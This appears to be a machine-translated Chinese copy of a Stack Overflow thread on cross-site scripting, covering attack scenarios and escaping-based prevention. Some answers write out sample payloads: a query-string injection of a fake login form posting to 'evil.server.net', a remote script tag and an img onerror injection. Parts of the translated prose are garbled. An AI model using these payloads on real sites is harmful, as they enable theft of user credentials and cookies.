2010-02-09 103 views
16

跨站點腳本(XSS)是計算機安全漏洞 通常出現在Web應用程序 這使惡意攻擊者 注入客戶端腳本到網絡 網頁被其他用戶查看發現一個類型 。 利用的跨站腳本攻擊可以被攻擊者 利用漏洞繞過訪問控制,如 同源策略。跨站點在網站上進行 腳本是 賽門鐵克 截至2007XSS背後的一般概念是什麼?

奧凱的記錄所有的安全漏洞 大約80%,因此,這是否意味着黑客工藝品某些惡意JS/VBScript和它傳遞當訪問一個沒有輸入非法信息的合法網站時不知情的受害者?

我的意思是,我知道SQL注入是怎麼做的....

我特別不明白JS/VBscript的怎麼能引起這麼大的傷害!我認爲它們只能在瀏覽器中運行,但顯然損壞範圍從keylogging to cookie stealing and trojans

我對XSS的理解是否正確?如果沒有,有人可以澄清?

如何防止XSS在我的網站上發生?這似乎很重要; 80%的安全漏洞意味着這是危害計算機的極其常見的方法。

回答

20

直截了當XSS

  1. 我發現谷歌有一個XSS漏洞
  2. 我寫的重寫公共谷歌網頁看起來完全一樣的實際谷歌登錄腳本
  3. 我的假頁面提交到第三方服務器,然後重定向回到真實頁面
  4. 我得到谷歌賬號密碼,用戶不知道發生了什麼事,谷歌不知道發生了什麼

XSS作爲CSRF平臺(這個據說實際發生)

  1. 亞馬遜有一個CSRF漏洞,「始終保持登錄狀態」的cookie,您可以標記一個條目作爲進攻
  2. 我找到一個在高流量的網站
  3. 我寫命中了網址,以紀念在亞馬遜上寫的同性戀/女同性戀作家作爲進攻
  4. 亞馬遜,它們都可以從與真正的權威性真正的瀏覽器有效請求所有書籍的javascript XSS漏洞餅乾。所有的書都在一夜之間消失在網站上
  5. 互聯網讓人大跌眼鏡。

XSS作爲會話固定平臺攻擊

  1. 我找到一個電子商務網站,登錄(像任何asp.net網站)後,不會重置他們的會話,必須通過能力會話ID通過查詢字符串或通過cookie,並在會話中存儲身份驗證信息(很常見)
  2. 我發現該網站頁面上的XSS漏洞
  3. 我編寫了一個腳本,將會話ID設置爲我控制着
  4. Someo ne碰到那個頁面,並且碰到了我的會話。
  5. 他們登錄
  6. 我現在做任何事情我想爲他們,包括購買產品的保存卡

這三個都是大的能力。 XSS,CSRF和Session Fixation攻擊的問題在於,它們非常難以追查和修復,並且非常容易實現,特別是如果開發人員不太瞭解這些攻擊。

+1

這是一個非常好的答案,我描述了攻擊矢量,但我認爲你已經比我更好地概述了XSS攻擊。 – Spence 2010-02-10 00:37:55

+0

我希望他們有一個專門針對計算機安全主題的Stackoverflow類型的網站 – bkbkbk 2010-02-11 05:58:02

+0

@bkbkbk http://security.stackexchange.com/ – MTCoster 2013-07-12 23:13:02

0

XSS攻擊的問題與捕魚有關。問題是客戶信任的網站可能會注入代碼,導致攻擊者爲了某種目的而創建網站。例如,竊取敏感信息。

因此,在XSS攻擊中,入侵者不會進入您的數據庫,也不會惹惱它。他正在玩這個網站是安全的,並且它的每一個環節都指向一個安全的位置。

這只是真正攻擊的第一步 - 將客戶帶入惡劣的環境。

我可以給你一個簡單的例子。例如,如果一家銀行機構在他們的頁面上放置了一個喊話器,並且他們不阻止我受到XSS攻擊,我可以大聲喊出「嘿,在這個鏈接上輸入密碼和信用卡號碼進行安全檢查!」 ...你知道這個環節會導致什麼,對嗎?

您可以通過確保您的頁面上沒有顯示任何內容,這些內容來自用戶輸入而不會轉義html標記,從而防止XSS攻擊。特殊字符應該被轉義,這樣它們不會干擾你的html頁面的標記(或者你使用的任何技術)。有很多這樣的庫,包括Microsoft AntiXSS庫。

5

我沒有得到如何JS/VBscript可以造成如此大的損害!

好的。假設你有一個網站,並且該網站的服務範圍是http://trusted.server.com/thesite。比方說,這個網站有一個搜索框,當你搜索的網址變成:http://trusted.server.com/thesite?query=somesearchstring

如果網站決定不處理搜索字符串並將其輸出到結果中,如「您搜索」somesearchstring「沒有得到任何結果,那麼任何人都可以向該網站注入任意html。例如:

http://trusted.server.com/thesite?query=<form action="http://evil.server.net">username: <input name="username"/><br/>password: <input name="pw" type="password"/><br/><input type="sumbit"/></form> 

因此,在這種情況下,網站會在搜索結果頁面上忠實地顯示一個虛假的登錄表單,如果用戶提交,它會將數據發送給邪惡的不受信任的服務器,但用戶不會尤其是如果url很長,他們只會看到第一個,但假設他們正在處理trusted.server.com。

Variation包括注入一個<script>標籤,該標籤將事件處理程序添加到文檔以跟蹤用戶的操作,或將文檔cookie發送到邪惡服務器。通過這種方式,您可能會遇到敏感數據,例如登錄名,密碼或信用卡數據。或者您可以嘗試插入佔據整個客戶端窗口的專門設計的,並提供看起來像原始網站但實際上源自evil.server.com的網站。只要用戶被欺騙使用注入內容而不是原始內容,安全性就會被妥協。

這種類型的XSS稱爲反射和非持久。反射式的,因爲url直接在響應中被「重新選擇」,而非持久性,因爲實際站點沒有被改變 - 它只是作爲一個傳遞。請注意,像https這樣的東西在這裏沒有提供任何保護 - 網站本身被破壞,因爲它通過查詢字符串鸚鵡的用戶輸入。

訣竅是讓不知情的用戶信任你給他們的任何鏈接。例如,您可以向他們發送一封HTML電子郵件,並在其中包含一個有吸引力的鏈接,指向僞造的網址。或者你也可以將它傳播到wiki,論壇等。我相信你可以感受到它真的很容易 - 它只是一個鏈接,可能會出錯,對吧?

有時可能會更糟糕。有些網站實際上存儲了用戶提供的內容。簡單的例子:在論壇上的博客或主題上的評論。或者它可能更加微妙:社交網絡上的用戶個人資料頁面。如果這些頁面允許任意的html,腳本,並且這個用戶提供的html被存儲和再現,那麼只需訪問包含這些內容的頁面的每個人都處於危險之中。這是持久的XSS。現在用戶甚至不需要再點擊一個鏈接,只需訪問就足夠了。實際的攻擊又是通過腳本修改頁面來捕獲用戶數據。

腳本注入可能是鈍的,例如,可以插入一個完整的<script src="http://evil.server.net/script.js">或者它可能很微妙:<img src="broken" onerror="...quite elaborate script to dynamically add a script tag..."/>

至於如何保護自己:關鍵是永遠不會輸出用戶輸入。如果您的網站圍繞用戶提供的帶有標記的內容旋轉,這可能會很困難。

5

想象一個網絡論壇。 XSS攻擊可能是我用一些JavaScript做了一個帖子。當你瀏覽到該頁面時,你的網頁將加載並運行js,並按照我所說的去做。當您瀏覽頁面並且很可能已登錄時,我的javascript將執行您有權執行的任何操作,例如發帖,刪除帖子,插入垃圾郵件,顯示彈出窗口等。

因此,真實用XSS的概念是腳本在您的用戶上下文中執行,這是一種權限升級。你需要小心,在你的應用程序的任何地方接收用戶輸入轉義任何腳本等內部,以確保XSS不能完成。

你必須警惕二次攻擊。想象一下,如果我把惡意腳本放入我的用戶名中。這可能會進入未經檢查的網站,然後將其取消選中,但隨後使用我的用戶名查看的任何頁面實際上都會在您的用戶環境中執行惡意腳本。

轉義用戶輸入。不要在代碼上執行此操作。檢查一切進入,一切都出來了。

21

上XSS怎麼能是惡意的已經給出答案,我只是會在XSS後兩個漂亮的閃光介紹和回答以下問題沒有答案:

如何防止XSS的發生在我的網站上?

這裏有兩個漂亮的閃光介紹關於XSS:

至於從XSS預防,你需要HTML轉義任何用戶當他們即將被重新顯示時被控制的輸入e頁。這包括請求標頭,請求參數以及要從數據庫提供的任何存儲的用戶控制輸入。特別是<,>,"'需要轉義,因爲它可能會惡化周圍的HTML代碼,在這個輸入被重新顯示的地方。

幾乎任何觀點施工技術的提供內建的方法來逃避HTML(或XML,這也足夠了)entities

在PHP中,你可以做到這一點與htmlspecialchars()。例如。

<input name="foo" value="<?php echo htmlspecialchars($foo); ?>"> 

如果您需要逃離這個singlequotes爲好,你需要提供ENT_QUOTES說法,也看到了aforelinked PHP文件。

在JSP中,你可以做到這一點與JSTL <c:out>fn:escapeXml()。例如。

<input name="foo" value="<c:out value="${param.foo}" />"> 

<input name="foo" value="${fn:escapeXml(param.foo)}"> 

注意,你其實並不需要請求處理過程中逃跑XSS,但只有在響應處理過程。請求處理過程中逃跑不需要它可以 malform用戶輸入遲早(和作爲一個網站管理員,你還想知道什麼問題的用戶實際上已經進入了這樣您就可以採取社會行動如果需要的話)。關於SQL注入,只是在數據即將被保存在數據庫中的時候,在請求處理期間才轉義它。

+0

flash文件很好,謝謝。 – Elbek 2012-07-22 22:09:11

+5

哦,通過flash文件提供安全信息的諷刺:) – blank 2015-11-03 09:22:03